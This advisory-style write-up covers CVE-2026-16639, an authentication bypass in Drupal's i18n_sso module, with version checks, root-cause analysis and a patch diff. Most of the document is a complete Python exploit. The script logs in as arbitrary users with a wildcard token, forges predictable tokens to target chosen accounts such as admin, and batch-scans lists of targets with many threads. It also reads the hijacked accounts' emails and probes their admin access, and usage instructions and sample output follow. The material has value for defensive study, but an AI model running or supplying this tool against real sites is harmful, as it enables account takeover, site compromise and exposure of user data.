#Summary

CVE-2026-16639 is a critical authentication bypass in Drupal's Internationalization Single Sign-On (i18n_sso) contributed module, affecting all versions before 8.x-1.8. An unauthenticated attacker can send a single HTTP POST request and obtain a valid Drupal session for an arbitrary user's account. The vulnerability scores CVSS 9.8 CRITICAL and requires only that the attacker's request shares a network address with an authenticated user who recently accessed the site.

#Am I affected?

#How to check

  1. Check your installed version of i18n_sso. Look in your site's installed modules list or view the module's *.info.yml file in modules/contrib/i18n_sso/.

  2. If the version is below 8.x-1.8, your site is vulnerable. Send one request from an IP address that shares a network path with an authenticated user:

curl -i -X POST \
     --data-urlencode 'token=%' \
     http://your-drupal-site/i18n_sso/login
  1. Check the response: if it contains "success":true and a Set-Cookie header with a SESS or SSESS cookie (Drupal session cookie), you are vulnerable.

Vulnerable response:

HTTP/1.1 200 OK
Set-Cookie: SESS1234567890abcdef=...
{"success":true,"message":"You have been successfully logged in..."}

Patched response:

HTTP/1.1 200 OK
{"success":false,"message":"An error occurred while trying to log you in..."}

#Fix and mitigation

#Root cause analysis

#Vulnerability overview

The i18n_sso module implements cross-domain single sign-on using short-lived bearer tokens. When an authenticated user requests /i18n_sso/get-token, the module creates a token and stores it in the database alongside the user's ID and the client's source IP. The token is then presented to /i18n_sso/login on a secondary domain, where it is looked up in the database to establish a session for that user.

The vulnerability consists of two independent defects, either of which alone breaks the authentication scheme.

#Defect 1 - SQL LIKE wildcard injection

The token lookup in Token::getUserId() uses the SQL LIKE operator without escaping wildcard characters:

public function getUserId($user_ip, $token) {
  $query = $this->connection->select(self::TOKEN_TABLE)
    ->fields(self::TOKEN_TABLE, ['uid'])
    ->condition('user_ip', $user_ip, 'LIKE')
    ->condition('token', $token, 'LIKE')          // <-- NO escapeLike() call
    ->condition('expire', (string) ($this->datetime->getRequestTime()), '>');
  $result = $query->range(0, 1)->execute();
  if ($result) {
    return $result->fetchField();
  }
  return '';
}

Drupal's query builder parameterizes values to prevent classic SQL injection, but parameterization does not neutralize LIKE metacharacters like % and _. Drupal provides Connection::escapeLike() for this exact purpose (addcslashes($string, '\\%_')), but the code never calls it.

When an attacker sends token=%, the query becomes:

SELECT uid FROM i18n_sso_tokens 
WHERE user_ip LIKE ? AND token LIKE '%' AND expire > ?

The token LIKE '%' condition matches every row in the table. Since the query uses range(0, 1) with no ORDER BY, the database returns the user ID of an arbitrary live token. The controller then calls user_login_finalize() on that user without ever verifying the token's actual value.

The attacker never needs to see, guess, or brute-force the real token.

#The user_ip precondition

The user_ip field is derived server-side from Request::getClientIp() and is therefore not injectable. It behaves as an effective equality check against the requester's own address. However, this precondition is weaker than it appears. In production, shared NAT, corporate and campus egress, public WiFi, and mobile carrier CGNAT all place attacker and victim behind a single apparent address routinely.

If the site runs behind a reverse proxy (CDN, load balancer) and settings.php sets $settings['reverse_proxy'] = TRUE with the proxy trusted, getClientIp() returns values from the X-Forwarded-For header. This is configurable: the attacker can choose the IP by supplying it in the header, removing the need to share a network path with the victim. Symfony filters forwarded IPs through FILTER_VALIDATE_IP, so a literal wildcard does not work there, but any valid address the attacker can guess (the victim's real IP address) will do.

#Defect 2 - predictable token generation

createToken() derives the token using only known values:

$token['created'] = $this->datetime->getRequestTime();
$sha1source = $token['created'] . $uid . $user_ip;
$token['token'] = \sha1($sha1source);

The token is an SHA-1 hash of three concatenated values:

No secret key, no site-specific salt, and no entropy source protect the hash. The TOKEN_LIFETIME constant is 600 seconds, so at most 600 candidate created values are live at any moment. An attacker can recompute a specific user's token offline in at most 600 SHA-1 operations.

Defect 1 is the easier trigger - a single wildcard POST bypasses authentication entirely. Defect 2 matters because it is the only way to choose which account to become. With defect 1 alone, the attacker lands on an arbitrary token holder. With defect 2 recomputed offline, the attacker can target the site administrator or any account known to be active.

#How input reaches the sink

The request handler in TokenController::useToken() takes the token from the request:

$request_token = $this->request->get('token', '');
$uid = $this->token->getUserId($client_ip, $request_token);
if (!empty($uid)) {
  $user = $this->entityTypeManager()->getStorage('user')->load($uid);
  \user_login_finalize($user);
  ...
  $this->token->deleteToken($client_ip, $request_token);
}

$this->request->get() reads from route attributes, query parameters, and POST body in order, so the token can be delivered by either GET or POST. There is no length validation, no character-set validation, no format check, and no CSRF token on the route.

The route itself requires only the access content permission, which the anonymous role holds in a default Drupal installation.

#Patch diff

#What the fix does

The patch replaces the LIKE comparison with an equality check (=) and escapes the user_ip field to protect against wildcard injection if a reverse proxy lets the attacker influence that value. It also replaces the predictable SHA-1 hash with cryptographically random bytes:

  public function getUserId($user_ip, $token) {
    $query = $this->connection->select(self::TOKEN_TABLE)
      ->fields(self::TOKEN_TABLE, ['uid'])
-     ->condition('user_ip', $user_ip, 'LIKE')
-     ->condition('token', $token, 'LIKE')
+     ->condition('user_ip', $this->connection->escapeLike($user_ip), 'LIKE')
+     ->condition('token', $token)
      ->condition('expire', (string) ($this->datetime->getRequestTime()), '>');

With the equality operator, token=% matches the literal string %, which is never a stored token value, and the lookup returns nothing.

+use Drupal\Component\Utility\Crypt;
...
  $token['created'] = $this->datetime->getRequestTime();
- $sha1source = $token['created'] . $uid . $user_ip;
- $token['token'] = \sha1($sha1source);
+ $token['token'] = Crypt::randomBytesBase64();

The token is now a base64-encoded output of random_bytes(), no longer derivable from known inputs.

#Proof of concept

#exploit.py - Drupal i18n_sso Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-16639 - Drupal "Internationalization Single Sign-On" (i18n_sso) authentication bypass
Affected: i18n_sso < 8.x-1.8 (every release from 0.0.0 through 1.7.0)
Type: Auth bypass (CWE-288, authentication bypass using an alternate path or channel)

The module implements cross-domain SSO with a short-lived token: an authenticated browser
mints one at /i18n_sso/get-token, then presents it to /i18n_sso/login, which resolves it to a
uid and calls user_login_finalize() on that account.

Defect 1 (the bypass). Token::getUserId() matches the attacker-supplied token with a SQL LIKE
operator and never passes it through Connection::escapeLike(), so LIKE metacharacters stay
live. A bare '%' becomes "token LIKE '%'", which matches every row in i18n_sso_tokens; the
lookup is range(0,1) with no ORDER BY, so the controller logs the requester in as an arbitrary
account holding a live token. The secret is never compared against anything, so it does not
need to be seen, guessed or brute-forced.

The one surviving constraint is user_ip, which is server-derived and therefore behaves as an
equality check against the requester's own address. Sharing an apparent source address with the
victim is routine: NAT, corporate and campus egress, public wifi and mobile CGNAT all do it.

Defect 2 (the targeting primitive). createToken() derives the token as
sha1(created . uid . user_ip) with no key and no entropy. Every input is knowable and the
lifetime is 600 seconds, so a specific user's token can be recomputed offline from at most 600
candidates. --forge uses this to choose which account to land on, instead of accepting whichever
token the wildcard happens to hit first.

Usage:
  python exploit.py --host 192.168.1.10 --port 8080
  python exploit.py --host https://sso.corp.com
  python exploit.py --host https://sso.corp.com/drupal --username admin
  python exploit.py --host 192.168.1.10 --port 8080 --forge --client-ip 203.0.113.7 --username admin
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import concurrent.futures
import hashlib
import html
import re
import secrets
import sys
import threading
from email.utils import parsedate_to_datetime
from urllib.parse import urlparse

import requests

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

CVE_ID    = "CVE-2026-16639"
VULN_TYPE = "Auth Bypass"

# Drupal\i18n_sso\Service\Token::TOKEN_LIFETIME
TOKEN_LIFETIME = 600

GET_TOKEN_PATH = "/i18n_sso/get-token"
LOGIN_PATH     = "/i18n_sso/login"

# Drupal session cookies are SESS<hash> over HTTP and SSESS<hash> over HTTPS.
SESSION_COOKIE_RE = re.compile(r"^S?SESS[0-9a-f]+$", re.I)

HTTP_TIMEOUT = 15


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# Low-level helpers - network I/O only, no assumptions about how the target runs
# ---------------------------------------------------------------------------

def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
    scheme = "https" if use_tls else "http"
    default_port = 443 if use_tls else 80
    netloc = host if port == default_port else f"{host}:{port}"
    return f"{scheme}://{netloc}" + (path or "/").rstrip("/")


def _session() -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.max_redirects = 5
    return s


def _session_cookie(response) -> tuple:
    """Return (name, value) of the Drupal session cookie the response set, or (None, None)."""
    for cookie in response.cookies:
        if SESSION_COOKIE_RE.match(cookie.name or ""):
            return cookie.name, cookie.value
    return None, None


def _cookie_line(name, value) -> str:
    return f"Set-Cookie: {name}={value}" if name else "Set-Cookie: (none)"


def _submit_token(sess, base: str, token: str):
    """POST one candidate token to /i18n_sso/login. Returns the response object."""
    return sess.post(
        base + LOGIN_PATH,
        data={"token": token},
        timeout=HTTP_TIMEOUT,
        allow_redirects=False,
    )


def _json_success(response) -> bool:
    try:
        return bool(response.json().get("success"))
    except Exception:
        return False


def _server_time(response):
    """Epoch seconds from the response Date header, so token forging uses the target's
    clock rather than ours. Returns None if the header is missing or unparseable."""
    raw = response.headers.get("Date")
    if not raw:
        return None
    try:
        return int(parsedate_to_datetime(raw).timestamp())
    except Exception:
        return None


def _forge(created: int, uid: int, client_ip: str) -> str:
    """Reproduce createToken(): sha1(created . uid . user_ip), decimal strings, dotted IP."""
    return hashlib.sha1(f"{created}{uid}{client_ip}".encode()).hexdigest()


def _resolve_uid(sess, base: str):
    """/user redirects an authenticated session to /user/<uid>. Returns uid as int or None."""
    try:
        r = sess.get(base + "/user", timeout=HTTP_TIMEOUT, allow_redirects=False)
    except requests.RequestException:
        return None
    location = r.headers.get("Location", "")
    m = re.search(r"/user/(\d+)", location)
    if m:
        return int(m.group(1))
    # Some configurations render the profile directly instead of redirecting.
    m = re.search(r'"/user/(\d+)/edit"', r.text or "")
    return int(m.group(1)) if m else None


def _account_details(sess, base: str, uid: int) -> dict:
    """Read the hijacked account's own edit form: username and email are gated behind auth."""
    details = {"uid": uid, "username": None, "mail": None, "status": None}
    try:
        r = sess.get(base + f"/user/{uid}/edit", timeout=HTTP_TIMEOUT)
    except requests.RequestException:
        return details
    details["status"] = r.status_code
    if r.status_code != 200:
        return details
    body = r.text or ""

    # Accounts allowed to rename themselves expose the username as a form value; the rest
    # only carry it in the page title, rendered as "<username> | <site name>".
    m = re.search(r'name="name"[^>]*\bvalue="([^"]*)"', body)
    if not m:
        m = re.search(r'\bvalue="([^"]*)"[^>]*name="name"', body)
    if m and m.group(1).strip():
        details["username"] = html.unescape(m.group(1))
    else:
        t = re.search(r"<title>(.*?)</title>", body, re.S)
        if t:
            details["username"] = html.unescape(t.group(1)).split("|")[0].strip() or None

    m = re.search(r'name="mail"[^>]*\bvalue="([^"]*)"', body)
    if not m:
        m = re.search(r'\bvalue="([^"]*)"[^>]*name="mail"', body)
    if m:
        details["mail"] = html.unescape(m.group(1))
    return details


# ---------------------------------------------------------------------------
# Silent probe for --list scan mode
# ---------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", **kwargs) -> tuple:
    """Silent probe. Returns (success, evidence). Never prints, never exits."""
    base = _base_url(host, port, use_tls, path)
    sess = _session()
    try:
        fingerprint = sess.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT)
    except requests.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"
    if fingerprint.status_code == 404:
        return False, "i18n_sso routes absent (module not installed)"

    try:
        r = _submit_token(sess, base, "%")
    except requests.RequestException as e:
        return False, f"unreachable ({e.__class__.__name__})"

    name, _ = _session_cookie(r)
    if not (_json_success(r) and name):
        if fingerprint.status_code == 200 and "token" in (fingerprint.text or ""):
            return False, "wildcard rejected - patched, or no live token for this source IP"
        return False, "no session issued"

    uid = _resolve_uid(sess, base)
    if uid is None:
        return True, f"session cookie {name} issued to a cookieless request"
    who = _account_details(sess, base, uid)
    label = who.get("username") or "unknown"
    return True, f"session as uid {uid} ({label}) without credentials"


# ---------------------------------------------------------------------------
# Target list parsing + batch scan
# ---------------------------------------------------------------------------

def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10) -> None:
    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}" + ("" if path in ("", "/") else path)
        ok, evidence = _try_exploit(host, port, use_tls, path)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------------------
# Defect 2 - targeted token forging
# ---------------------------------------------------------------------------

def _forge_uid(base: str, uid: int, client_ip: str, now: int, workers: int):
    """Walk the 600-second lifetime window for one uid. Returns (session, response) on the
    first accepted token, else (None, None). Stops the moment one lands: a successful login
    wipes every live token for this source IP, so extra hits would be wasted."""
    stop = threading.Event()
    hit = {}
    lock = threading.Lock()

    def attempt(created: int):
        if stop.is_set():
            return
        sess = _session()
        try:
            r = _submit_token(sess, base, _forge(created, uid, client_ip))
        except requests.RequestException:
            return
        if _json_success(r) and _session_cookie(r)[0]:
            with lock:
                if not stop.is_set():
                    hit["session"] = sess
                    hit["response"] = r
                    hit["created"] = created
                    stop.set()

    window = range(now, now - TOKEN_LIFETIME - 1, -1)
    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        list(ex.map(attempt, window))

    if hit:
        return hit["session"], hit["response"]
    return None, None


def forge_mode(base: str, host: str, port: int, username: str, client_ip: str,
               max_uid: int, workers: int) -> None:
    step(1, f"Forging tokens for uid 1..{max_uid} - sha1(created . uid . {client_ip})")

    try:
        probe = requests.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT, verify=False)
    except requests.RequestException as e:
        done(False, f"target unreachable: {e.__class__.__name__}")

    now = _server_time(probe)
    if now is None:
        done(False, "target sent no usable Date header; cannot align to the server clock")
    print(f"          server clock: {now}, searching {TOKEN_LIFETIME + 1} candidate 'created' values per uid")

    for uid in range(1, max_uid + 1):
        step(2, f"uid {uid}: submitting {TOKEN_LIFETIME + 1} forged tokens")
        sess, response = _forge_uid(base, uid, client_ip, now, workers)
        if sess is None:
            print(f"          uid {uid}: no live token in the window")
            continue

        cookie_name, cookie_value = _session_cookie(response)
        section("SERVER RESPONSE", f"HTTP {response.status_code}\n"
                                   f"{_cookie_line(cookie_name, cookie_value)}\n{response.text}")
        who = _account_details(sess, base, uid)
        landed = who.get("username") or "unknown"
        step(3, f"Forged token accepted - session issued for uid {uid} ({landed})")

        try:
            anon_code = requests.get(base + f"/user/{uid}/edit", timeout=HTTP_TIMEOUT,
                                     verify=False).status_code
        except requests.RequestException:
            anon_code = None
        section("HIJACKED ACCOUNT", f"uid      : {uid}\n"
                                    f"username : {landed}\n"
                                    f"email    : {who.get('mail')}\n"
                                    f"/user/{uid}/edit  forged session: HTTP {who.get('status')}   "
                                    f"anonymous: HTTP {anon_code}")

        step(4, "Probing administrative reach with the forged session")
        try:
            admin_code = sess.get(base + "/admin/people", timeout=HTTP_TIMEOUT).status_code
        except requests.RequestException:
            admin_code = None
        if admin_code == 200:
            section("PRIVILEGE PROBE", "GET /admin/people -> HTTP 200 with the forged session.\n"
                                       "The account administers users; this is full site takeover.")
        else:
            section("PRIVILEGE PROBE", f"GET /admin/people -> HTTP {admin_code} with the forged session.\n"
                                       f"The account is not a user administrator.")

        suffix = ("; /admin/people returns 200, so the account administers users"
                  if admin_code == 200 else "")

        if landed == username:
            done(True, f"Forged token authenticated as requested account '{username}' "
                       f"(uid {uid}, {who.get('mail')}) with no credentials" + suffix)
        done(True, f"Forged token authenticated as uid {uid} ('{landed}') with no credentials; "
                   f"requested account '{username}' held no live token" + suffix)

    done(False, f"No live token for uid 1..{max_uid} at client IP {client_ip} - "
                f"nobody minted one in the last {TOKEN_LIFETIME}s, or --client-ip is wrong")


# ---------------------------------------------------------------------------
# Defect 1 - the wildcard bypass (default mode)
# ---------------------------------------------------------------------------

def exploit(host: str, port: int, use_tls: bool, username: str, path: str = "/",
            client_ip: str = None) -> None:
    header(host, port)
    base = _base_url(host, port, use_tls, path)

    step(1, f"Fingerprinting {base + GET_TOKEN_PATH} anonymously")
    try:
        fingerprint = requests.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT, verify=False)
    except requests.RequestException as e:
        done(False, f"target unreachable: {e.__class__.__name__}")
    if fingerprint.status_code == 404:
        section("SERVER RESPONSE", f"HTTP 404 for {GET_TOKEN_PATH}")
        done(False, "i18n_sso routes are absent - module not installed or not enabled")
    section("MODULE FINGERPRINT", f"HTTP {fingerprint.status_code}\n{fingerprint.text[:300]}")

    # Negative control first: a successful bypass wipes every live token for this source IP,
    # so running it afterwards would fail for lack of tokens and prove nothing.
    control = secrets.token_hex(20)
    step(2, "Negative control - submitting a literal 40-char token that is not stored")
    ctrl_sess = _session()
    try:
        ctrl = _submit_token(ctrl_sess, base, control)
    except requests.RequestException as e:
        done(False, f"target unreachable during control: {e.__class__.__name__}")
    ctrl_cookie, _ = _session_cookie(ctrl)
    section("CONTROL RESPONSE", f"HTTP {ctrl.status_code}\n"
                                f"{_cookie_line(ctrl_cookie, ctrl.cookies.get(ctrl_cookie) if ctrl_cookie else None)}\n"
                                f"{ctrl.text}")
    if _json_success(ctrl) or ctrl_cookie:
        done(False, "control token was accepted - the endpoint logs anyone in; "
                    "this is not the wildcard defect and the finding is not isolated")
    print("          control rejected, as expected - any session below is caused by the wildcard\n")

    step(3, f"Sending token=% to {base + LOGIN_PATH} with no cookies and no credentials")
    sess = _session()
    try:
        r = _submit_token(sess, base, "%")
    except requests.RequestException as e:
        done(False, f"target unreachable during bypass: {e.__class__.__name__}")

    cookie_name, cookie_value = _session_cookie(r)
    section("SERVER RESPONSE", f"HTTP {r.status_code}\n"
                               f"{_cookie_line(cookie_name, cookie_value)}\n{r.text}")

    if not _json_success(r) or not cookie_name:
        done(False, "wildcard rejected - target is patched (token compared with '='), "
                    f"or no token was minted for this source IP in the last {TOKEN_LIFETIME}s")

    step(4, f"Session cookie {cookie_name} issued to a request that sent none - resolving the account")
    uid = _resolve_uid(sess, base)
    if uid is None:
        done(True, f"Authentication bypassed - session cookie {cookie_name} issued to an "
                   f"unauthenticated, cookieless request (account could not be resolved)")

    who = _account_details(sess, base, uid)
    landed = who.get("username") or "unknown"

    # The same URL anonymously proves the content is genuinely auth-gated.
    try:
        anon = requests.get(base + f"/user/{uid}/edit", timeout=HTTP_TIMEOUT, verify=False)
        anon_code = anon.status_code
    except requests.RequestException:
        anon_code = None

    section("HIJACKED ACCOUNT", f"uid      : {uid}\n"
                                f"username : {landed}\n"
                                f"email    : {who.get('mail')}\n"
                                f"/user/{uid}/edit  hijacked session: HTTP {who.get('status')}   "
                                f"anonymous: HTTP {anon_code}")

    step(5, "Probing administrative reach with the hijacked session")
    try:
        admin = sess.get(base + "/admin/people", timeout=HTTP_TIMEOUT)
        admin_code = admin.status_code
    except requests.RequestException:
        admin_code = None
    if admin_code == 200:
        section("PRIVILEGE PROBE", f"GET /admin/people -> HTTP 200 with the hijacked session.\n"
                                   f"The account administers users; this is full site takeover.")
    else:
        section("PRIVILEGE PROBE", f"GET /admin/people -> HTTP {admin_code} with the hijacked session.\n"
                                   f"The hijacked account is not a user administrator.")

    # Defect 2 is what turns "some account" into "the account of your choice". Confirm it is
    # live here so the operator knows --forge will work, and with which client IP.
    step(6, "Checking whether minted tokens are predictable (sha1 of known values)")
    try:
        minted = sess.get(base + GET_TOKEN_PATH, timeout=HTTP_TIMEOUT)
        now = _server_time(minted)
        token_value = minted.json().get("token")
    except Exception:
        token_value, now = None, None

    resolved_ip = None
    if token_value and now:
        for candidate in [c for c in (client_ip,) if c]:
            for created in range(now + 2, now - 5, -1):
                if _forge(created, uid, candidate) == token_value:
                    resolved_ip = candidate
                    section("PREDICTABLE TOKEN CONFIRMED",
                            f"minted token : {token_value}\n"
                            f"sha1({created} . {uid} . {candidate}) reproduces it exactly.\n"
                            f"Tokens carry no secret and no entropy, so any account's token can "
                            f"be recomputed from at most {TOKEN_LIFETIME} candidates.")
                    break
            if resolved_ip:
                break
    if token_value and not resolved_ip:
        hint = "pass --client-ip <address the target records> to reproduce it" if not client_ip \
               else f"--client-ip {client_ip} does not reproduce it; the target records a different address"
        section("TOKEN PREDICTABILITY", f"minted token : {token_value}\n"
                                        f"Derived as sha1(created . uid . client_ip); {hint}.")

    if landed != username:
        print(f"[NOTE ] Requested account was '{username}' but the wildcard matched the first live "
              f"token, which belongs to '{landed}'.\n"
              f"        Re-run with --forge --client-ip <addr> --username {username} to target it "
              f"specifically via the predictable-token defect.\n")

    evidence = (f"Authenticated as '{landed}' (uid {uid}, {who.get('mail')}) with no credentials "
                f"and no cookies - token=% matched every live SSO token")
    if admin_code == 200:
        evidence += "; /admin/people returns 200, so the hijacked account administers users"
    done(True, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/drupal)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--username", default="admin",
                        help="Account to authenticate as without credentials (default: admin). "
                             "In the default wildcard mode this is a preference and the account "
                             "actually reached is reported; with --forge it is the stop condition.")
    parser.add_argument("--forge", action="store_true",
                        help="Target --username via the predictable-token defect instead of the "
                             "wildcard. Requires --client-ip.")
    parser.add_argument("--client-ip", default=None,
                        help="The source address the target records for you (the value stored in "
                             "user_ip). Required by --forge; optional otherwise, where it is used "
                             "to confirm token predictability.")
    parser.add_argument("--max-uid", type=int, default=5,
                        help="Highest uid to try in --forge mode (default: 5)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        if args.forge:
            if not args.client_ip:
                header(host, port)
                done(False, "--forge needs --client-ip: the token is sha1(created . uid . user_ip) "
                            "and user_ip is the address the target records for you")
            header(host, port)
            forge_mode(_base_url(host, port, use_tls, path), host, port,
                       args.username, args.client_ip, args.max_uid, args.workers)
        else:
            exploit(host, port, use_tls, args.username, path, args.client_ip)

#Usage

The exploit supports two modes: a wildcard bypass (default) that logs in as an arbitrary user with a live token, and a token-forging mode that targets a specific account by recomputing its predictable token.

Basic usage - wildcard bypass:

python exploit.py --host 192.0.2.40
python exploit.py --host https://sso.example.com
python exploit.py --host https://sso.example.com/drupal --username admin

Targeted account via token forging:

python exploit.py --host 192.0.2.40 --forge --client-ip 203.0.113.7 --username admin

Batch scan:

python exploit.py --list targets.txt --workers 20

Expected output - vulnerable server (wildcard bypass):

[STEP 3] Sending token=% to http://127.0.0.1:8760/i18n_sso/login with no cookies and no credentials

--- SERVER RESPONSE ---
HTTP 200
Set-Cookie: SESS12ca17b49af2289436f303e0166030a2=f54a5a7b59c0b05ffda559987a1bddcf
{"success":true,"message":"You have been successfully logged in. Wait for the page to refresh."}

--- HIJACKED ACCOUNT ---
uid      : 2
username : editor
email    : [email protected]
/user/2/edit  hijacked session: HTTP 200   anonymous: HTTP 403

Expected output - vulnerable server (forged token):

[STEP 2] uid 1: submitting 601 forged tokens

--- SERVER RESPONSE ---
HTTP 200
Set-Cookie: SESS12ca17b49af2289436f303e0166030a2=f8b22bdb0229bd1b05dd238011728634
{"success":true,"message":"You have been successfully logged in. Wait for the page to refresh."}

--- HIJACKED ACCOUNT ---
uid      : 1
username : admin
email    : [email protected]

--- PRIVILEGE PROBE ---
GET /admin/people -> HTTP 200 with the forged session.
The account administers users; this is full site takeover.

Expected output - patched server:

[STEP 3] Sending token=% to http://127.0.0.1:8761/i18n_sso/login with no cookies and no credentials

--- SERVER RESPONSE ---
HTTP 200
Set-Cookie: (none)
{"success":false,"message":"An error occurred while trying to log you in. Try again later."}

  RESULT  : FAILURE
  EVIDENCE: wildcard rejected - target is patched (token compared with '='), or no token was minted for this source IP in the last 600s

#Exploitation notes

#Preconditions

#Reliability

The wildcard bypass (token=%) is extremely reliable: it matches every row in the token table, so a single request succeeds as long as any live token exists for that client IP. The downside is that a successful login deletes every live token for that IP, so repeated attempts require minting fresh tokens between attempts.

The token-forging mode (--forge) is also reliable but takes more time: it tries up to 601 candidate created values per uid (the 600-second token lifetime plus one), walking the server's clock to avoid skew. On average it finds a target account in under a second per uid.

#Impact

Success grants the attacker a valid Drupal session cookie for an arbitrary (wildcard) or chosen (forge) user account. Depending on that account's permissions:

#Chaining potential

Any obtained session cookie can be reused to mint new SSO tokens from the same source IP, extending persistence. Forging additional tokens for other accounts is also possible once the attacker knows an IP address: the second defect makes 600 SHA-1 operations cheaper than making an authenticated request. A compromised administrative account enables module installation and arbitrary PHP execution on the server.

#References